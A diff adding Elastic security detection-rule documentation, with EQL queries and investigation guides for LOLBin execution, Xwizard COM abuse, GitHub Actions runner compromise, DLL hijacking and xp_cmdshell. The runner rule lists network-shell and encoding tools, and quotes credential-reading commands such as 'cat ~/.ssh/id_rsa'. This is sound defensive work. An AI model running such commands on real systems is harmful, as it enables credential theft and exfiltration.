logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution from Unusual Directory - Command Line* + + +This rule looks for the execution of scripts from unusual directories. Attackers can use system or application paths to hide malware and make the execution less suspicious. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to determine which commands or scripts were executed. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the script using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of parent process executable and command line conditions. + + +*Related rules* + + +- Process Execution from an Unusual Directory - ebfe1448-7fac-4d59-acea-181bd89b1f7f + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("wscript.exe", + "cscript.exe", + "rundll32.exe", + "regsvr32.exe", + "cmstp.exe", + "RegAsm.exe", + "installutil.exe", + "mshta.exe", + "RegSvcs.exe", + "powershell.exe", + "pwsh.exe", + "cmd.exe") and + + /* add suspicious execution paths here */ + process.args : ("C:\\PerfLogs\\*", + "C:\\Users\\Public\\*", + "C:\\Windows\\Tasks\\*", + "C:\\Intel\\*", + "C:\\AMD\\Temp\\*", + "C:\\Windows\\AppReadiness\\*", + "C:\\Windows\\ServiceState\\*", + "C:\\Windows\\security\\*", + "C:\\Windows\\IdentityCRL\\*", + "C:\\Windows\\Branding\\*", + "C:\\Windows\\csc\\*", + "C:\\Windows\\DigitalLocker\\*", + "C:\\Windows\\en-US\\*", + "C:\\Windows\\wlansvc\\*", + "C:\\Windows\\Prefetch\\*", + "C:\\Windows\\Fonts\\*", + "C:\\Windows\\diagnostics\\*", + "C:\\Windows\\TAPI\\*", + "C:\\Windows\\INF\\*", + "C:\\Windows\\System32\\Speech\\*", + "C:\\windows\\tracing\\*", + "c:\\windows\\IME\\*", + "c:\\Windows\\Performance\\*", + "c:\\windows\\intel\\*", + "c:\\windows\\ms\\*", + "C:\\Windows\\dot3svc\\*", + "C:\\Windows\\panther\\*", + "C:\\Windows\\RemotePackages\\*", + "C:\\Windows\\OCR\\*", + "C:\\Windows\\appcompat\\*", + "C:\\Windows\\apppatch\\*", + "C:\\Windows\\addins\\*", + "C:\\Windows\\Setup\\*", + "C:\\Windows\\Help\\*", + "C:\\Windows\\SKB\\*", + "C:\\Windows\\Vss\\*", + "C:\\Windows\\servicing\\*", + "C:\\Windows\\CbsTemp\\*", + "C:\\Windows\\Logs\\*", + "C:\\Windows\\WaaS\\*", + "C:\\Windows\\twain_32\\*", + "C:\\Windows\\ShellExperiences\\*", + "C:\\Windows\\ShellComponents\\*", + "C:\\Windows\\PLA\\*", + "C:\\Windows\\Migration\\*", + "C:\\Windows\\debug\\*", + "C:\\Windows\\Cursors\\*", + "C:\\Windows\\Containers\\*", + "C:\\Windows\\Boot\\*", + "C:\\Windows\\bcastdvr\\*", + "C:\\Windows\\TextInput\\*", + "C:\\Windows\\security\\*", + "C:\\Windows\\schemas\\*", + "C:\\Windows\\SchCache\\*", + "C:\\Windows\\Resources\\*", + "C:\\Windows\\rescache\\*", + "C:\\Windows\\Provisioning\\*", + "C:\\Windows\\PrintDialog\\*", + "C:\\Windows\\PolicyDefinitions\\*", + "C:\\Windows\\media\\*", + "C:\\Windows\\Globalization\\*", + "C:\\Windows\\L2Schemas\\*", + "C:\\Windows\\LiveKernelReports\\*", + "C:\\Windows\\ModemLogs\\*", + "C:\\Windows\\ImmersiveControlPanel\\*", + "C:\\$Recycle.Bin\\*") and + + /* noisy FP patterns */ + + not process.parent.executable : ("C:\\WINDOWS\\System32\\DriverStore\\FileRepository\\*\\igfxCUIService*.exe", + "C:\\Windows\\System32\\spacedeskService.exe", + "C:\\Program Files\\Dell\\SupportAssistAgent\\SRE\\SRE.exe") and + not (process.name : "rundll32.exe" and + process.args : ("uxtheme.dll,#64", + "PRINTUI.DLL,PrintUIEntry", + "?:\\Windows\\System32\\FirewallControlPanel.dll,ShowNotificationDialog", + "?:\\WINDOWS\\system32\\Speech\\SpeechUX\\sapi.cpl", + "?:\\Windows\\system32\\shell32.dll,OpenAs_RunDLL")) and + + not (process.name : "cscript.exe" and process.args : "?:\\WINDOWS\\system32\\calluxxprovider.vbs") and + + not (process.name : "cmd.exe" and process.args : "?:\\WINDOWS\\system32\\powercfg.exe" and process.args : "?:\\WINDOWS\\inf\\PowerPlan.log") and + + not (process.name : "regsvr32.exe" and process.args : "?:\\Windows\\Help\\OEM\\scripts\\checkmui.dll") and + + not (process.name : "cmd.exe" and + process.parent.executable : ("?:\\Windows\\System32\\oobe\\windeploy.exe", + "?:\\Program Files (x86)\\ossec-agent\\wazuh-agent.exe", + "?:\\Windows\\System32\\igfxCUIService.exe", + "?:\\Windows\\Temp\\IE*.tmp\\IE*-support\\ienrcore.exe")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-of-com-object-via-xwizard.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-of-com-object-via-xwizard.asciidoc new file mode 100644 index 0000000000..b2ecf90217 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-of-com-object-via-xwizard.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-execution-of-com-object-via-xwizard]] +=== Execution of COM object via Xwizard + +Windows Component Object Model (COM) is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects or executable code. Xwizard can be used to run a COM object created in registry to evade defensive counter measures. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Xwizard/ +* http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Execution of COM object via Xwizard* + + +The Windows Component Object Model (COM) facilitates communication between software components. Adversaries exploit this by using Xwizard to execute COM objects, bypassing security measures. The detection rule identifies suspicious Xwizard executions by monitoring process starts, checking for unusual arguments, and verifying executable paths, thus flagging potential misuse of COM objects for malicious activities. + + +*Possible investigation steps* + + +- Review the process start event details to confirm the presence of xwizard.exe execution, focusing on the process.name and process.pe.original_file_name fields. +- Examine the process.args field to identify any unusual or suspicious arguments, particularly looking for the "RunWizard" command and any GUIDs or patterns that may indicate malicious activity. +- Verify the process.executable path to ensure it matches the expected system paths (C:\Windows\SysWOW64\xwizard.exe or C:\Windows\System32\xwizard.exe). Investigate any deviations from these paths as potential indicators of compromise. +- Check the parent process of xwizard.exe to understand the context of its execution and identify any potentially malicious parent processes. +- Correlate the event with other security data sources such as Microsoft Defender XDR or Sysmon logs to gather additional context and identify any related suspicious activities or patterns. +- Investigate the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential unauthorized access or privilege escalation. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they use Xwizard to execute COM objects. Users can create exceptions for known software update processes by verifying the executable paths and arguments. +- System administrators might use Xwizard for legitimate configuration tasks. To handle this, identify and document regular administrative activities and exclude these from the rule by specifying the expected process arguments and executable paths. +- Automated scripts or management tools that utilize Xwizard for system management tasks can cause false positives. Review and whitelist these scripts or tools by ensuring their execution paths and arguments are consistent with known safe operations. +- Some security tools or monitoring solutions might use Xwizard as part of their normal operations. Confirm these activities with the tool's documentation and exclude them by adding their specific execution patterns to the exception list. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious xwizard.exe processes identified by the detection rule to halt potential malicious execution. +- Conduct a thorough review of the system's registry for unauthorized COM objects and remove any entries that are not recognized or are deemed malicious. +- Restore the system from a known good backup if unauthorized changes or persistent threats are detected. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor the network for any signs of similar activity or related threats, ensuring that detection systems are tuned to identify variations of this attack. +- Escalate the incident to the security operations center (SOC) or relevant security team for further analysis and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "xwizard.exe" or ?process.pe.original_file_name : "xwizard.exe") and + ( + (process.args : "RunWizard" and process.args : "{*}") or + (process.executable != null and + not process.executable : ( + "C:\\Windows\\SysWOW64\\xwizard.exe", + "C:\\Windows\\System32\\xwizard.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\xwizard.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\xwizard.exe" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-github-actions-runner.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-github-actions-runner.asciidoc new file mode 100644 index 0000000000..2c5e75f5bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-github-actions-runner.asciidoc @@ -0,0 +1,254 @@ +[[prebuilt-rule-8-19-21-execution-via-github-actions-runner]] +=== Execution via GitHub Actions Runner + +This rule detects potentially dangerous commands spawned by the GitHub Actions Runner.Worker process or by shell interpreters launched via a runner entrypoint script on self-hosted runner machines. Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary commands on the runner host. This behavior may indicate malicious or unexpected workflow activity, including code execution, reconnaissance, credential harvesting, or network exfiltration initiated through a compromised repository or unauthorized workflow. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via GitHub Actions Runner* + + +Adversaries who gain the ability to modify or trigger workflows in a linked GitHub repository can execute arbitrary +commands on the runner host. This rule covers two parent process paths: +- **Direct execution**: process spawned directly by `Runner.Worker` / `Runner.Worker.exe`. +- **Entrypoint script execution**: process spawned by a shell (`sh`, `bash`, `zsh`) whose command line references + a runner `entrypoint.sh` script, a common pattern when the runner bootstraps workflow steps via a shell script. + + +*Possible investigation steps* + + +- Review `process.command_line` and `process.parent.command_line` to determine whether the activity matches a known, + authorized workflow step. +- For `grep`, `find`, `pgrep`, `printenv`, and `env` hits, assess whether the command targets sensitive paths, environment + variables (e.g. secrets, tokens), or process listings inconsistent with the declared workflow. +- For `openssl` and `base64` hits, inspect arguments for encoding/decoding operations that may indicate credential + harvesting, data staging, or a C2 channel. +- For `tr` and `cat` hits, assess whether they are chained with other suspicious commands (e.g. `cat /etc/passwd | base64`, + `cat ~/.ssh/id_rsa`) to read and encode sensitive files for exfiltration. +- For `nc`, `ncat`, `netcat`, and `socat` hits, check arguments for reverse shell patterns or port-forwarding to + attacker-controlled infrastructure. +- For `wg` and `wg-quick` hits, inspect arguments for tunnel configuration that may establish a covert egress channel. +- For `ssh` hits, review arguments for reverse tunnel flags (`-R`) or connections to unexpected remote hosts. +- For `kubectl` and `helm` hits, assess whether commands target sensitive namespaces, extract secrets, or deploy + workloads inconsistent with the declared workflow. +- For `vault` hits, inspect arguments for secret reads (`vault kv get`) or token operations that may indicate + credential harvesting from a HashiCorp Vault instance. +- For `gh` hits, review arguments for repository cloning, secret access (`gh secret`), or actions that escalate + access via the runner's GitHub token. +- For `nmap` hits, assess whether the command performs host or port discovery against internal network ranges, + indicating lateral movement preparation. +- Examine associated network activity for unexpected outbound connections, especially following `curl`, `wget`, or + `openssl s_client` invocations. +- Verify whether the triggering workflow run was initiated by an authorized actor and matches the repository's + expected workflow definitions. +- Correlate with file-write and file-access events to identify any sensitive file staging or collection activity. +- Correlate with other alerts to determine if this activity is part of a broader supply chain or CI/CD compromise. + + +*False positive analysis* + + +- Authorized GitHub workflow actions that legitimately use discovery utilities (`find`, `grep`, `env`, `nmap`), data + manipulation tools (`cat`, `tr`), encoding tools (`openssl`, `base64`), remote access tools (`ssh`), or + infrastructure CLIs (`kubectl`, `helm`, `vault`, `gh`) as part of their build, test, or deploy steps may trigger + this rule. Validate against known workflow definitions and consider adding workflow-specific exclusions if the + volume is high. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes that were initiated by the Github actions runner. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Implement application whitelisting to prevent unauthorized execution. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + ( + /* Direct child of the GitHub Actions Runner.Worker process */ + process.parent.name in ("Runner.Worker", "Runner.Worker.exe") or + + /* Child of a shell interpreter launched via a runner entrypoint script + (e.g. /home/runner/runners//run/entrypoint.sh or similar paths) */ + ( + process.parent.name in ("sh", "bash", "zsh") and + process.parent.command_line like "*runner*entrypoint.sh" + ) + ) and + ( + process.name : ( + /* Network / download utilities */ + "curl", "curl.exe", "wget", "wget.exe", + /* Windows scripting & LOLBins */ + "powershell.exe", "cmd.exe", "pwsh.exe", "certutil.exe", "rundll32.exe", + /* Unix shells */ + "bash", "sh", "zsh", "dash", "ash", "tcsh", "csh", "ksh", "fish", "mksh", "busybox", "pwsh", + /* File / archive manipulation */ + "tar", "gzip", "rm", "sed", "chmod", + /* macOS-specific */ + "osascript", + /* Process persistence helpers */ + "nohup", "setsid", + /* Scripting runtimes */ + "python*", "perl*", "ruby*", "lua*", "php*", "node", "nodejs", "node.exe", + /* Discovery & reconnaissance */ + "pgrep", "grep", "find", "printenv", "env", "nmap", + /* Crypto / encoding (potential exfiltration or C2 channel) */ + "openssl", "base64", "basez", "base64plain", "base64url", "base64mime", "base64pem", "basenc", "base32", "base16", "xxd", + /* Data manipulation / inspection */ + "tr", "cat", + /* Network relay / tunneling */ + "nc", "ncat", "netcat", "nc.traditional", "nc.openbsd", "socat", "wg", "wg-quick", + /* Remote access */ + "ssh", "ssh.exe", "ftp", "tftp", "scp", "sftp", + /* Kubernetes / infrastructure */ + "kubectl", "helm", "docker", "ctr", "crictl", + /* Secret management */ + "vault", + /* GitHub CLI */ + "gh", + /* AWS CLI */ + "aws", + /*Azure CLI */ + "az", + /*GCP CLI */ + "gcloud", + /* Google Workspace CLI */ + "gws" + ) or + process.executable : ("/tmp/*", "/private/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/*", "/var/run/*", "?:\\Users\\*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-local-sxs-shared-module.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-local-sxs-shared-module.asciidoc new file mode 100644 index 0000000000..c8a21550c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-local-sxs-shared-module.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-21-execution-via-local-sxs-shared-module]] +=== Execution via local SxS Shared Module + +Identifies the creation, change, or deletion of a DLL module within a Windows SxS local folder. Adversaries may abuse shared modules to execute malicious payloads by instructing the Windows module loader to load DLLs from arbitrary local paths. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +The SxS DotLocal folder is a legitimate feature that can be abused to hijack standard modules loading order by forcing an executable on the same application.exe.local folder to load a malicious DLL module from the same directory. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and file.extension : "dll" and + file.path : ( + "C:\\*\\*.exe.local\\*.dll", + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\*\\*.exe.local\\*.dll" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc new file mode 100644 index 0000000000..75fb256fff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-execution-via-mssql-xp-cmdshell-stored-procedure.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-21-execution-via-mssql-xp-cmdshell-stored-procedure]] +=== Execution via MSSQL xp_cmdshell Stored Procedure + +Identifies execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default, thus, it's important to review the context of it's use. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Execution via MSSQL xp_cmdshell Stored Procedure* + + +Microsoft SQL Server (MSSQL) has procedures meant to extend its functionality, the Extended Stored Procedures. These procedures are external functions written in C/C++; some provide interfaces for external programs. This is the case for xp_cmdshell, which spawns a Windows command shell and passes in a string for execution. Attackers can use this to execute commands on the system running the SQL server, commonly to escalate their privileges and establish persistence. + +The xp_cmdshell procedure is disabled by default, but when used, it has the same security context as the MSSQL Server service account, which is often privileged. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the command line to determine if the command executed is potentially harmful or malicious. 